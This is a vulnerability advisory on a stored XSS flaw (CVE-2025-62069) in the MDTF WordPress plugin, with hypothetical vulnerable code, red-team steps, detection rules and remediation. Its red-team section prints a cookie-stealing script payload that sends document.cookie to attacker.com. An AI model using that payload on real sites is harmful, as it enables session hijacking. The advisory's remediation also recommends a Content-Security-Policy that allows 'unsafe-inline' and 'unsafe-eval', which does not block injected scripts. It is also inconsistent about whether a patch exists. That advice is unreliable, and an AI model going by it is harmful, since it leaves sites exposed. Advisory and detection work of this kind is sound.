CVE-2025-62069

Executive Summary

CVE-2025-62069 is a stored Cross-Site Scripting (XSS) vulnerability in the WordPress plugin MDTF (Meta Data Filter and Taxonomy Filter) by RealMag777, affecting versions up to and including 1.3.3.8. The vulnerability arises from improper neutralization of user-supplied input during web page generation, allowing an attacker to inject arbitrary JavaScript into the WordPress admin or frontend pages where the plugin’s shortcode or widget is rendered. Given the plugin’s role in filtering and displaying custom post metadata, the attack surface is broad, potentially affecting any site using MDTF for product listings, directories, or custom taxonomies.

The CVSS score of 6.5 (Medium) reflects a low complexity attack requiring user interaction (e.g., an admin or editor viewing a maliciously crafted filter). However, the impact is amplified in a WordPress ecosystem because a single XSS can lead to privilege escalation, session hijacking, or defacement. No public exploit code or proof-of-concept is currently available, but the vulnerability is considered unpatched, making it a high-priority target for threat actors scanning for vulnerable WordPress installations.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress Plugin Directory. Since the patch status is unknown, users are advised to treat the plugin as compromised and either remove it or apply strict input sanitization via a Web Application Firewall (WAF). No official patch or commit has been identified in public repositories.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – An unauthenticated attacker can inject the payload.
• User Interaction (UI): Required (R) – The victim must view the page containing the injected script.
• Scope (S): Changed (C) – The injected script can affect resources beyond the vulnerable component (e.g., WordPress admin).
• Confidentiality (C): Low (L) – Limited data exposure (e.g., cookies, tokens).
• Integrity (I): Low (L) – Limited ability to modify content.
• Availability (A): None (N) – No direct denial of service.

Threat Level: Medium. The lack of a patch and the widespread use of WordPress make this a credible threat, especially for sites with multiple editors or user-submitted content.

Deep Dive & Mechanics

The MDTF plugin allows users to create custom meta-data filters and taxonomy filters for posts. The vulnerability exists in the way the plugin handles filter values when rendering them in the frontend. Specifically, the plugin fails to sanitize or escape user-supplied input before outputting it in the HTML context.

Attack Vector:

1. An attacker identifies a WordPress site using MDTF version <= 1.3.3.8.
2. The attacker crafts a malicious URL or form submission containing a JavaScript payload in a filter parameter (e.g., ?mdtf_filter=<script>alert('XSS')</script>).
3. The plugin stores or reflects this input without proper encoding.
4. When an administrator or other user visits the page containing the filter output, the script executes in their browser context.

Root Cause: The plugin uses functions like echo $_GET['filter'] or the_meta() without applying esc_html(), wp_kses(), or similar WordPress sanitization functions.

Vulnerable vs. Patched Code

Since no patch is available, the following is a hypothetical comparison based on common XSS fixes.

Vulnerable Code (PHP):

// In a template or shortcode handler
$filter_value = $_GET['mdtf_filter'];
echo '<div class="mdtf-filter">' . $filter_value . '</div>';

Patched Code (Hypothetical):

// Properly escape output
$filter_value = isset($_GET['mdtf_filter']) ? sanitize_text_field($_GET['mdtf_filter']) : '';
echo '<div class="mdtf-filter">' . esc_html($filter_value) . '</div>';

The patched version uses sanitize_text_field() to strip malicious tags and esc_html() to encode HTML entities, preventing script execution.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• WordPress site with MDTF plugin version <= 1.3.3.8.
• A page or post using the MDTF shortcode (e.g., [mdtf_filter]).

Exploitation Steps:

1. Identify the vulnerable parameter (e.g., mdtf_filter, tax_filter, or similar).
2. Craft a payload:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

3. Send the payload via URL:

   https://target.com/?mdtf_filter=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

4. If the plugin stores the filter value (e.g., in a session or database), the payload will execute for any user viewing the page.

Alternative Payload (Stored XSS):

• If the plugin allows saving filter presets, inject the payload into the preset name.

Blue Team (Defensive)

Detection:

• Monitor web server logs for requests containing <script> tags in query parameters.
• Use a WAF rule to block requests with mdtf_filter containing <script> or onerror=.

Hunting:

• Search the WordPress database for stored XSS payloads:

  SELECT * FROM wp_postmeta WHERE meta_value LIKE '%<script>%';
  

• Check for unexpected admin users or posts created by non-admin roles.

Lab Setup:

1. Install WordPress locally (e.g., using Docker).
2. Install MDTF plugin version 1.3.3.8.
3. Create a test page with the [mdtf_filter] shortcode.
4. Inject the payload and observe the XSS in a browser.

Indicators of Compromise (IOCs)

• Network:
  • HTTP requests containing mdtf_filter=<script> or similar patterns.
  • Outbound connections to known malicious domains from the WordPress server.
• Host:
  • Unexpected JavaScript files in /wp-content/uploads/ or /wp-content/plugins/mdtf/.
  • Modified .htaccess files redirecting to malicious sites.
• Application:
  • New admin users with suspicious usernames.
  • Unusual posts or pages containing JavaScript in meta fields.
• Logs:
  • Web server logs showing GET /?mdtf_filter=<script>... with a 200 response.

Detection Engineering

YARA Rule

rule CVE_2025_62069_MDTF_XSS {
    meta:
        description = "Detects malicious payloads targeting CVE-2025-62069 in MDTF plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-62069"
    strings:
        $payload1 = "mdtf_filter=" nocase
        $payload2 = "<script>" nocase
        $payload3 = "onerror=" nocase
        $payload4 = "onload=" nocase
    condition:
        any of ($payload*) and filesize < 10KB
}

Sigma Rule

title: CVE-2025-62069 MDTF XSS Detection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests with XSS payloads targeting the MDTF plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - 'mdtf_filter=<script'
            - 'mdtf_filter=javascript:'
            - 'mdtf_filter=onerror='
    condition: selection
falsepositives:
    - Legitimate use of script tags in admin (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-62069 MDTF XSS Attempt"; flow:to_server,established; content:"mdtf_filter"; http_uri; nocase; content:"<script"; http_uri; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Apply a virtual patch using a WAF (e.g., ModSecurity, Cloudflare) to block requests containing mdtf_filter with script tags.
3. Audit user roles – Ensure only trusted users have access to post/page editing.

Long-Term Fix:

• Monitor the plugin’s official page for updates. If no patch is released within 30 days, consider replacing the plugin with an alternative (e.g., Search & Filter, FacetWP).
• Implement Content Security Policy (CSP) headers to mitigate XSS impact:

  Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; object-src 'none';
  

Workaround:

• Add the following code to the theme’s functions.php to sanitize the filter parameter:

  add_filter('query_vars', function($vars) {
      $vars[] = 'mdtf_filter';
      return $vars;
  });
  add_action('wp', function() {
      if (isset($_GET['mdtf_filter'])) {
          $_GET['mdtf_filter'] = sanitize_text_field($_GET['mdtf_filter']);
      }
  });
  

Valters IT